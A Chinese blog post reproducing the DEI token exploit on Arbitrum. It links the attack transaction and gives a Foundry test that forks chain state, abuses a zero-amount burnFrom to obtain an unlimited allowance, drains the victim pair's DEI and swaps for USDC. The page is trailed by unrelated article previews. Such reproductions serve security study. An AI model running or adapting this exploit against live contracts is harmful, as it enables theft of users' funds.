智能合约漏洞案例,DEI 漏洞复现

智能合约漏洞案例,DEI 漏洞复现

1. 漏洞简介

https://twitter.com/eugenioclrc/status/1654576296507088906

2. 相关地址或交易

https://explorer.phalcon.xyz/tx/arbitrum/0xb1141785b7b94eb37c39c37f0272744c6e79ca1517529fec3f4af59d4c3c37ef 攻击交易

3. 获利分析

5. 漏洞复现

pragma solidity ^0.8.10;

//import  "../interfaces/interface.sol";
import "forge-std/Test.sol";
import "./interface.sol";
import "../contracts/ERC20.sol";

interface DEI {
    function burnFrom(address account, uint256 amount) external;
}

interface AMM {
    function sync() external;
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function getAmountOut(uint amountIn, address tokenIn) external returns(uint256);

}

contract ContractTest is Test{

    address constant dei = 0xDE1E704dae0B4051e80DAbB26ab6ad6c12262DA0;
    address constant victim = 0x7DC406b9B904a52D10E19E848521BbA2dE74888b;
    address constant usdc = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;



    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("arbitrum", 87626026 -2);
        //uint256 forkId = cheats.createFork("bsc");
        //cheats.selectFork(forkId);

    }

    function testExploit() external {
        IERC20(dei).approve(victim,type(uint256).max);
        DEI(dei).burnFrom(victim, 0);
        emit log_named_decimal_uint("Attacker DEI allowance", IERC20(dei).allowance(victim,address(this)), 18);

        uint256 victimNum = IERC20(dei).balanceOf(victim);
        emit log_named_decimal_uint("victim DEI allowance", victimNum, 18);
        IERC20(dei).transferFrom(victim,address(this),victimNum-1);
        AMM(victim).sync();
        emit log_named_decimal_uint("After attack,Attacker DEI allowance",IERC20(dei).balanceOf(address(this)), 18);
        uint outNum = AMM(victim).getAmountOut(victimNum-1, dei);
        emit log_named_decimal_uint("outNUm is :",outNum, 18);

        IERC20(dei).transfer(victim,victimNum-1);
        AMM(victim).swap(0, outNum, address(this), "");

        emit log_named_decimal_uint("After attacker's usdc is :",IERC20(usdc).balanceOf(address(this)), 6);

    }
}

http://www.niftyadmin.cn/n/5018287.html

相关文章

Helm Kubernetes Offline Deploy Rancher v2.7.5 Demo (helm 离线部署 rancher 实践)

文章目录 1. 简介2. 预备条件3. 选择 SSL 配置4. 离线安装的 Helm Chart 选项5. 下载介质6. 生成证书7. 镜像入库8. 安装 rancher9. 配置 nodeport10. 配置 ingress11. 界面访问11.1 首页预览11.2 查看集群信息11.3 查看项目空间11.4 查看节点信息 1. 简介 Rancher 是一个开源…

idea装载jerbel以及文件上传下载

一、JRebel 1.1 Jrebel介绍 JRebel是一个Java开发工具,它是一款用于实时代码重载的插件。它的主要功能是在不重新启动应用程序的情况下,将修改后的Java代码实时应用到正在运行的应用程序中,从而加快开发周期,提高开发效率。 实…

CSS:隐藏移动端的滚动条的方式

目录 方式一:-webkit-scrollbar方式二:overflow方式三:clip-path方式四:mask 遮罩总结参考 移动端开发中,有一个横向滚动元素,产品告诉我不需要滚动条,我说这个简单,隐藏一下不就行了…

15.Xaml StackPanel控件 布局控件

1.运行效果 2.运行源码 a.Xaml源码 <Window x:Class="testView.MainWindow"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d="http://schemas.mic…

【C++】C++面向对象编程三大特性之一——多态

❤️前言 继上篇继承的知识之后&#xff0c;本片博文主要和大家一起继续学习多态的知识。多态的实现依附于继承&#xff0c;是面向对象的重要特性。 正文 多态&#xff0c;顾名思义就是多种状态。简单来说&#xff0c;不同类型的对象进行相同的操作会产生不同的结果。举实例来…

MySQL学习问题记录

文章目录 MySQL学习问题记录1、查询记录自动根据id排序&#xff1f; MySQL学习问题记录 1、查询记录自动根据id排序&#xff1f; step1&#xff1a;建表 表项信息&#xff1a; 写入数据顺序id为10 2 7 1。查寻时返回记录顺序为1 2 7 10&#xff1f; 更新一条数据后仍然按照…

Segment Routing MPLS概述

段路由SR&#xff08;Segment Routing&#xff09;是基于源路由理念而设计的在网络上转发数据包的一种协议。Segment Routing MPLS是指基于MPLS转发平面的Segment Routing&#xff0c;下文简称为Segment Routing。Segment Routing将网络路径分成一个个段&#xff0c;并且为这些…

C++ day 3

1、 自行封装一个栈的类&#xff0c;包含私有成员属性&#xff1a;栈的数组、记录栈顶的变量&#xff0c;成员函数完成&#xff1a;构造函数、析构函数、拷贝构造函数、入栈、出栈、清空栈、判空、判满、获取栈顶元素、求栈的大小 stack.h #ifndef STACK_H #define STACK_H#…